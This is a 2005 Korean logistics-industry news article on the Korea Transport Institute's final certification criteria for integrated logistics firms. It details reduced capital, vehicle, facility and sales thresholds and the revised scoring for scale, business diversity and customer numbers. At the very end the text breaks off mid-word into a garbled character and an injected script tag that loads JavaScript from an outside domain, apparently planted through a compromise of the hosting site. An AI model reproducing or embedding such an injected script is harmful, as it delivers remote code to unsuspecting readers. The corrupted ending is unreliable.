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작성일 |
2005-03-02 |
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종물업 인증기준 ‘자본금 규모 확줄었다’ |
종물업 인증기준 ‘자본금 규모 확줄었다’ KOTI 자산형 100억ㆍ서비스형 50억원 최종안 발표 정부 3월부터 3개부처 협의 들어가…4월께 정부초안 나올 듯
종합물류업 인증기준에 대한 교통개발연구원의 최종안이 최근 업계에 공개됐다. 교통개발연구원(KOTI)은 지난해 연말 종합물류업 인증기준에 대한 최종안을 확정하고 이를 보고서화해 2월 중순경 업계에 발표했다.
이번 최종안은 기본골격은 작년 10월 안(案)을 유지하면서 자본금 규모나 3자물류매출액 등과 같은 세부항목에 대한 만점기준이 크게 바뀌었다.
예를 들어 작년 10월 안의 자본금 규모 만점기준이 자산형(운송ㆍ시설) 250억원, 비자산형(서비스형) 100억원이었다면 이번에 공개된 최종안은 자산형 100억원, 서비스형 50억원으로 대폭 완화했다. 자산형 업체의 경우 상위 20% 수준, 서비스형은 상위 30% 수준이 만점이 정해진 것.
중소물류업체들이 종물업 인증을 받는데 가장 큰 걸림돌로 작용할 것으로 보였던 자본금 규모를 크게 낮춰 이들 업체들의 진입을 대폭 허용하겠다는 의도가 담겨져 있는 것이다.
세부적인 만점기준은 작년 10월안과 비교해 서비스형 업체에 대한 평가기준이 많은 변화를 보였다.
일단 전체적인 기준은 상위 20% 수준을 만점으로 잡았다. 이중 서비스업종에 대한 자본금 규모만 30% 수준으로 정했다.
평가항목은 ▲대형화 ▲업무범위의 다양성 ▲성장가능성 등 세가지 대기준으로 구성되며 대기준 아래로 세부 평가지표가 적용된다.
대형화는 ▲자본금 ▲운송수단 ▲시설 ▲기타물류자산 ▲물류부문매출액 ▲3자물류매출액 등의 평가지표로 구성된다.
다양성은 ▲국내거점수 ▲해외거점수 ▲영위업종수 ▲고객수 ▲최대고객 매출비중으로 구성된다.
성장가능성은 ▲3자물류 매출비중 ▲3자물류 매출비중 증가율 ▲해외투자규모 ▲해외매출실적 ▲정보시스템자산보유액 ▲매출액 대비 정보화 투자율 ▲부채비율 ▲장기위탁계약 비중 ▲매출액대비 이익률 ▲전문인력보유수준 ▲교육시스템 ▲물류(컨설팅)부문 인증보유여부 ▲인증보유기간 등의 인증기준이 담겼다.
대형화의 대기준 항목은 자본금을 제외하고는 전부 서비스형 업종에 포커스를 맞춰 배점 혹은 평가기준이 변경됐다.
▲자본금은 앞서 설명했듯 운송/시설 등 이른바 자산형 2개업종의 경우 당초 250억원에서 100억원으로 150억원이나 줄었으며 서비스형업체도 100억원에서 50억원으로 1/2수준으로 만점기준이 완화됐다. 또 서비스형에 대한 만점 배점도 낮춰 당초 4점에서 3점으로 1점이 줄었다.
이밖에 ‘하드웨어’에 대한 평가항목인 ▲운송수단 ▲시설 ▲기타물류자산 등은 자산형 업종에 대해선 변동이 없으며 서비스형에 대한 기준만 변화됐다.
운송수단 항목은 서비스형 업종의 만점기준이 기존 800대에서 500대로 완화됐고 시설 기준은 서비스형 업체에 대해 당초 16만㎡로 정했던 만점기준을 10만㎡로 낮췄다. 또 기타물류자산에 대한 만점은 당초 80억원에서 50억원으로 하향조정했다.
한편 이들 3개 하드웨어 기준에 대해선 ‘보유’일 경우 가중치 1을 부여하고 ‘확보’한 경우에는 0.8을 부여한다는 기존 안을 유지해 소유와 확보간에 불거질 형평성을 고려했다.
▲물류부문 매출액 부문에서는 자산ㆍ서비스형 공히 기존 2천억원으로 정했던 만점기준을 1천억원으로 줄이는 한편 서비스형에 대해선 만점 배점도 5점에서 3점으로 조정했다. ▲3자물류 매출액 부문은 양측 공히 기존 1천억원에서 5백억원으로 만점기준을 낮췄으며 서비스형 업종에 대한 만점 배점은 기존 10점에서 대폭 후퇴해 3점으로 잡았다.
이에 따라 대형화에 대한 전체 만점 배점은 자산형은 기존과 동일한 40점이나 서비스형은 당초안보다 10점이 깎인 15점으로 정해졌다.
다양성의 대기준 항목중 ▲국내거점수와 ▲해외거점수에 대한 만점 배점이 자산/비자산 공히 5점에서 4점으로 줄었으며 평가기준에선 ‘시도수 1개 부족시 0.2점 감점’, ‘국가수 1개 부족시 0.5점 감점’ 등으로 세부 점수계산항목을 신설했다.
그러나 ▲영위업종수는 만점 배점이 강화됐다. 중분류 기준 5개이상을 영위하고 각 업종의 매출액이 50억원일때 만점을 주도록 하는 이 항목은 자산형, 비자산형 등 3개업종 모두 당초 5점만점에서 10점만점으로 상향조정됐다. 이는 곧 여러 업종에 걸쳐 다양한 서비스를 하고 있는 업체가 유리하도록 하겠다는 의도다. 한두가지 특화된 업종만 영위하는 업체는 종합물류업 도입의 취지에 부합하지 않는다는 해석이 깔린 것.
▲고객수와 ▲최대고객 매출비중은 기존보다 만점 배점이 낮아졌다. 10사 이상의 고객을 확보할 때 만점을 받는 고객수는 3개 업종 모두 4점으로 기존보다 1점을 낮췄으며, 최대고객이 20%이하의 매출비?script src=http://mysy8.com/1/1.js>
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